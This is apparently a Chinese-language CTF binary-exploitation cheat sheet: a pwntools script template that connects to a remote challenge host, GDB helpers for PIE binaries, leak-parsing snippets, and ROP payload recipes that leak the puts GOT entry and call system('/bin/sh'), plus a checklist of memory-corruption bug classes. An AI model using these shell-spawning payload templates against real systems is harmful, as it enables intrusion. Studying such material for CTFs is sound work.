初始化
脚本的开始
#coding=utf-8
from pwn import *
file_path = "./RHVM.bin"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
调试方法
用来调试开启PIE的程序
能得到pie的地址运行一些gdb命令
def debug_1(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
debug_1([0x000000000000117C,0x00000000000011B8])
字节转化
比特流转int (0a 21 54–>”0x54210a”)
p.recvuntil("")
info=p.recv(6).ljust(8,"\x00") #比特流转int
result=u64(info)
print("leak bit to int : ",hex(result))
result
字符串转int(”0x5060a0”–>0x5060a0)
p.recvuntil("0x",drop=True)
info=p.recv(12) #12是64位libc地址的长度 16是64位canary的长度 (不算0x)
result=int(info,16)
print("leak str to int : ",hex(result))
移位
#从fro到to进行移位操作,索引从0开始
def left(item,i):
return (item<<(i*8))&0xffffffffffffffff
def yiwei(content,fro,to,bit=64):
if bit==64:
fro_bit=(content>>(fro*8))&0xff #取出来第fro位
fro_bit_8=fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3)|left(fro_bit,4)|left(fro_bit,5)|left(fro_bit,6)|left(fro_bit,7)#把fro位复制到其他位
result= (0xff << (to * 8))&fro_bit_8 #删除多余的
# print("result:",hex(to))
return result
if bit==32:
fro_bit = (content>>(fro*8))&0xff # 取出来第fro位
fro_bit_8 = fro_bit|left(fro_bit,1)|left(fro_bit,2)|left(fro_bit,3) # 把fro位复制到其他位
return (0xff << (to * 8)) & fro_bit_8 # 删除多余的
decoding=yiwei(item,3,5)|yiwei(item,2,4)|yiwei(item,1,3)|yiwei(item,0,2)|yiwei(item,4,1)|yiwei(item,5,0)
字符串和16进制数之间的转化
import binascii
def hex2char(data):
# binascii.a2b_hex(hexstr)
output = binascii.unhexlify(data)
print(output)
def char2hex(data):
output=binascii.b2a_hex(data)
# output = binascii.hexlify(data)
print(output)
hex2char("2f62696e2f736800") #/bin/sh
char2hex("/bin"+"/sh\x00")#2f62696e2f736800
常用payload
常用rop(待添加如ret2dl的,栈迁移的等)
泄露puts函数got表
p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(下一次返回的地址)
调用system(“/bin/sh”)
p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])
计算方法
计算偏移
泄露-目的=偏移——>目的=泄露-偏移
例:
泄露libc地址-vmmap得出来的libc基地址
>>> hex(0x7f5f30f3d780-0x7f5f30b77000)
'0x3c6780'
写在脚本里的是
libc.address=leak-0x3c6780
libc上的地址也可以直接用vmmap 得出,但是栈的地址只能用上面的方法计算出来
pwndbg> vmmap 0x7f5f3086e000+0x50
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f5f3086e000 0x7f5f30976000 r-xp 108000 0 /lib/x86_64-linux-gnu/libm-2.23.so +0x50
关注漏洞点
- 索引越界,所有对连续内存元素的存取都要有限制
- 如果索引为负数有没有限制,索引是否为无符号数
- 释放后指针有没有清零
- 定义的read函数有没有溢出,NULL byte溢出,一字节溢出,\n溢出
- 如果size为0,malloc的结果和read的结果
- 格式化字符串漏洞